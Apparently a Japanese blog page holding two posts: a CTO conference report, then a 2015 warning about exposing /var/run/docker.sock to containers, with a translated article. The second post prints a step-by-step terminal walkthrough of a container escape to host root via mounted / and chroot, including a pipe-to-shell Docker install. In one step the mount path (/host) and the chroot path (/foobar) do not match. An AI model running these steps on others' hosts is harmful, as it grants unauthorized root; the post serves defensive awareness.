参加報告は既に参加された何人もの方がまとめられているので、そちらを参照していただくと雰囲気や内容がよりつかみやすいかと思います。12月に京都を訪れたのは今回が初めてでやや肌寒い気候ではありましたが、集まったCTO各位との濃い議論や熱気によって寒さを全く感じない出張となりました。

全体のスケジュールを通しては、特にTresureData太田さんのKeynoteが圧巻の内容で、海外で起業する上で必要だったFundraising, Marketig, Networking, Hiring, Sales, Managementなど手元で取ったメモの量が圧倒的に多かったです。

その他の会期中のプログラムも参考になるコンテンツが多かったです。一口にCTOといっても役割の種類や在り方というのが実は無数に存在している世界だったりするので（例えば僕は肩書としてはCTOではなくてVP of Engineeringだったりしますし）、モノカルチャーというよりも多様性の世界です。アンカンファレンスや懇親会で多くの方とお話させて頂きましたが、事業や組織の背景や目指すところなど一見似てるようで全然違っている、色々な方と腰を落ち着けて話をできるため、どんな方とのお話も非常に興味深く勉強になります。

参加してみて持ち帰りたいと思ったアイデアがいくつかあったのですが、近いうちに優先的にやってみたいこととして、エンジニアの行動指針を明文化を進めようと考えています。新しく思いついたというよりはタイミング的に今着手するのがよいと感じたということなのですが、背景としては開発組織の規模が小規模という単位に収まりきらなくなってきた今のタイミングで、現時点でのありたい姿を言葉に落として、その姿について組織内外問わずにコミュニケーションが取りやすい状態を作っておくことには一定の価値があるように思えたということがあります。

また今回の参加では、自分も"Code, Arguments and Startups"というタイトルでTech Pitch(LT)させてもらいました。とにかくCTO各位の霊圧が凄かったので、事前準備のプレッシャーは今年で一番大きかったかもしれません。半分以上の内容を口頭でPitchしてしまっていてプレゼン資料にはそこまで情報が残っておらず、これだけ読んでもよく意味が分からない感じになってしまってはいますが、話したことも雰囲気くらいは伝わるかもしれないので貼っておきます。

Dockerコンテナ内からホストマシンのルートを取る具体的な方法（あるいは/var/run/docker.sockを晒すことへの注意喚起）

2015-11-04T00:00:00+09:00

dockerの -v オプションを使ってホストマシンのディレクトリをマウントするときは、マウントする範囲に注意が必要（特に/var/run/docker.sockをマウントしてはならない）という話を書きます。

元ネタは@lvhが書いてるDon't expose the Docker socket (not even to a container)という記事で、1ヶ月前くらいにHacker Newsで話題になってて知りました。

この元記事で紹介されているいくつかの危険なマウントのパターンに関する情報が、最近dockerを使い始めた自分に有用な情報だったので、自戒も込めて要点を書いておきます。

TL;DR

/var/run/docker.sockへの書き込み権限があるとルートを持ってるのと同様のことができるため、決して外部へ晒してはいけない（コンテナに対してであってもマウントさせるべきではない）

コマンド例

まず予備知識として、ルートディレクトリをマウント(-v /:/foobar)してコンテナを起動すると、ホストのルートが取れる例から。

root@test-docker:~# cat /etc/hostname
test-docker
root@test-docker:~# docker run -t -i -v /:/foobar debian:jessie /bin/bash  #ルートDirをマウントしコンテナ起動
WARNING: Your kernel does not support memory swappiness capabilities, memory swappiness discarded.
root@01a8a893fa9d:/# cat /etc/hostname  #コンテナ上のホスト名が返る
01a8a893fa9d
root@01a8a893fa9d:/# ps ax  #コンテナ内のプロセス一覧が返る
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 /bin/bash
   21 ?        R+     0:00 ps ax
root@01a8a893fa9d:/# chroot /foobar  #chrootが成功
# /bin/bash
root@01a8a893fa9d:/# cat /etc/hostname  #/etc/hostnameを見るとホストマシン名が返るし
test-docker
root@01a8a893fa9d:/# ps ax  #psを叩けばホストマシンのプロセス一覧がコンテナ内から見える
PID TTY      STAT   TIME COMMAND
  1 ?        Ss     0:01 /sbin/init
  2 ?        S      0:00 [kthreadd]
  3 ?        S      0:01 [ksoftirqd/0]
  5 ?        S<     0:00 [kworker/0:0H]
  6 ?        S      0:00 [kworker/u2:0]
  7 ?        S      0:00 [rcu_sched]
  8 ?        S      0:00 [rcu_bh]
  9 ?        S      0:00 [migration/0]
 10 ?        S      0:00 [wat
 ・・・・
 （略）
 ・・・
10000 ?        S      0:00 [kworker/0:1]
10023 pts/3    Ss     0:00 /bin/bash
16787 pts/3    Sl+    0:00 docker run -t -i -v /:/foobar debian:jessie /bin/bash
16820 pts/4    Ss     0:00 /bin/bash
16830 pts/4    S      0:00 /bin/sh -i
16831 pts/4    S      0:00 /bin/bash
16835 pts/4    R+     0:00 ps ax

ユーザが意図的にルートディレクトリをマウントする事例は、特別な事情がない限りは実際は少ないと思われるので、これ単体で問題になることは恐らく少ないでしょう。ですが、悪意を持ったユーザにとってはコンテナ上からホストマシンのルートを取るための便利な手段となり得ます。

次の例では、ホストマシンがコンテナに対して/var/run/docker.sockのみを晒しています。そうすることで、コンテナ上で更にコンテナを起動することが可能になります。これと、先ほど紹介した手法を組み合わせることで、コンテナ上からホストマシンのrootを取ることが可能になります。

root@test-docker:~# docker run -t -i -v /var/run/docker.sock:/var/run/docker.sock debian:jessie /bin/bash
WARNING: Your kernel does not support memory swappiness capabilities, memory swappiness discarded.
root@b5745203f94d:/# ps ax
  PID TTY    STAT    TIME COMMAND
    1 ?      Ss      0:00 /bin/bash
    6 ?      R+      0:00 ps ax
root@b5745203f94d:/# cat /proc/self/cgroup
8:perf_event:/
7:blkio:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
6:net_cls,net_prio:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
5:freezer:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
4:devices:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
3:cpu,cpuacct:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
2:cpuset:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
1:name=systemd:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
root@b5745203f94d:/# which docker  #dockerがインストールされてないので次の行でインストール
root@b5745203f94d:/# apt-get update && apt-get install wget -y && wget -qO- https://get.docker.com | sh
Get:1 http://security.debian.org jessie/updates InRelease [63.1 kB]
Get:2 http://security.debian.org jessie/updates/main amd64 Packages [181 kB]
Ign http://httpredir.debian.org jessie InRelease
Get:3 http://httpredir.debian.org jessie-updates InRelease [128 kB]
・・・・
（略）
・・・

If you would like to use Docker as a non-root user, you should now consider
adding your user to the "docker" group with something like:

  sudo usermod -aG docker your-user

Remember that you will have to log out and back in for this to take effect!
root@b5745203f94d:/# docker run -t -i -v /:/host debian:jessie /bin/bash
WARNING: Your kernel does not support memory swappiness capabilities, memory swappiness discarded.
root@01a8a893fa9d:/# chroot /foobar  #chrootが成功
# /bin/bash
root@01a8a893fa9d:/# cat /etc/hostname  #/etc/hostnameを見るとホストマシン名が返っている
test-docker

以下で元記事を翻訳したのですが、最後の方に出てくるYouTubeの動画で更に突っ込んだ（sshのデーモンを殺すなどの）手法も紹介されているので、更に興味のある人はそちらも参照されるとよいと思います。

Don't expose the Docker socket (not even to a container)

以下、元記事の翻訳です。@lvhから許可を得て掲載しています。

Dockerはデーモンプロセス（dockerd）と通信するクライアントとして動くわけですが、その際のソケットには典型的にUNIXドメインソケット（/var/run/docker.sock）が利用されます。dockerdは特権的な動作が可能であり実効的にはルート権を持っているとみなせるため、dockerdが使うUNIXドメインソケットに対して書き込み権限を有するどのプロセスもまた、実効的にルート権があると言えます。

これは隠れた事案では全くありません。Docker社は入門の手引も含めて、多くの場所で明確にドキュメントに記しており、それは例えLinux上であってもDocker Machineを開発環境に選ぶ動機付けの一つとなっています。もし一般ユーザがこのdocker.sockに書き込み権限を持っていると、自由にルートを取りどんなコードも実行できてしまう脆弱性が生まれることになります。

Dockerのソケットにまつわる警鐘としては、ホストマシン上でのオペレーションについての（時として暗示的な）指摘がよく見受けられます。ホストマシン上で一般ユーザがdocker.sockに書き込み権限を持つことはホストマシンのルートを与えることにつながる、といったものです。しかし、コンテナ上でdocker.sockへの書き込み権限を持ったとしたら何が起こるのかについてはいくらかの誤解があるようです。

最もよくある誤解が、ルートは全く取れないだとか、コンテナ内においてのみルートが与えられる（ホストマシンには影響を及ぼさない）、といったようなものですが、これは間違っています。書き込み元が誰かに関わらず、docker.sockへの書き込み権限はホストマシン上のルート権限を意味します。Docker内でDockerを走らせるJerome Pettazoniのdindとは異なり、我々はホストマシンのdocker.sockへのアクセスについて考えていきます。

その手順は以下の様なものです。

ホストマシンの/var/run/docker.sockをマウントした状態で起動したDockerコンテナ（訳注：便宜上コンテナAと呼びます）上でDockerクライアントをインストールします
コンテナA上で、-v /:/hostオプションによりルートディレクトリをマウントした状態で更にdockerコンテナを起動します（訳注：コンテナBと呼びます）。ここで、このルートディレクトリはコンテナAのルートではなくてホストマシンのルートを指すことに注意してください
コンテナB上で/hostへのchrootを行うと、実効的にホストマシンのルートを取ったことと同様の状態になります。（実際にはいくつかの点でホストマシン上のシェルとの動作が異なることになります。例えば、/proc/self/cgroupsはDocker cgroupsを指すなど。しかしながら、攻撃者はこれらの差異に対応するために必要な全ての権限を持っています）

この手法はコンテナ外からルートを取るプロセスと全く変わりません。docker.sockへの書き込み権限を持つことはホストマシンのルート権限を持つことと同じことであり、これでゲームオーバーです。誰が書き込みをしてるとか、どこからの書き込みだとかは一切関係がありません。

残念なことに、非常に多くの開発チームがこのことに気づいていません。最近そういう事例に出くわしたので、彼らの環境における脆弱性についてスクリーンキャストであいまいにデモをすることにしました。

これは新しい事実ではなく、Dockerの動作の性格として長い間知られてきたことです。元々DockerのREST APIはエンドポイントとしてTCPポートをリスンしてきたのですが、瑣末ではありますが残念なことにこの方式ではクロスサイトスクリプティングが可能になってしまうということで、'/var/run/docker.sock'にあるUNIXドメインソケットをリスンするように変更した時点（訳注:v0.5.2の時点のようです ※）から続いている性質となっています。

※公式ドキュメント曰く、"For this reason, the REST API endpoint (used by the Docker CLI to communicate with the Docker daemon) changed in Docker 0.5.2, and now uses a UNIX socket instead of a TCP socket bound on 127.0.0.1 "

48JIGEN *Reloaded*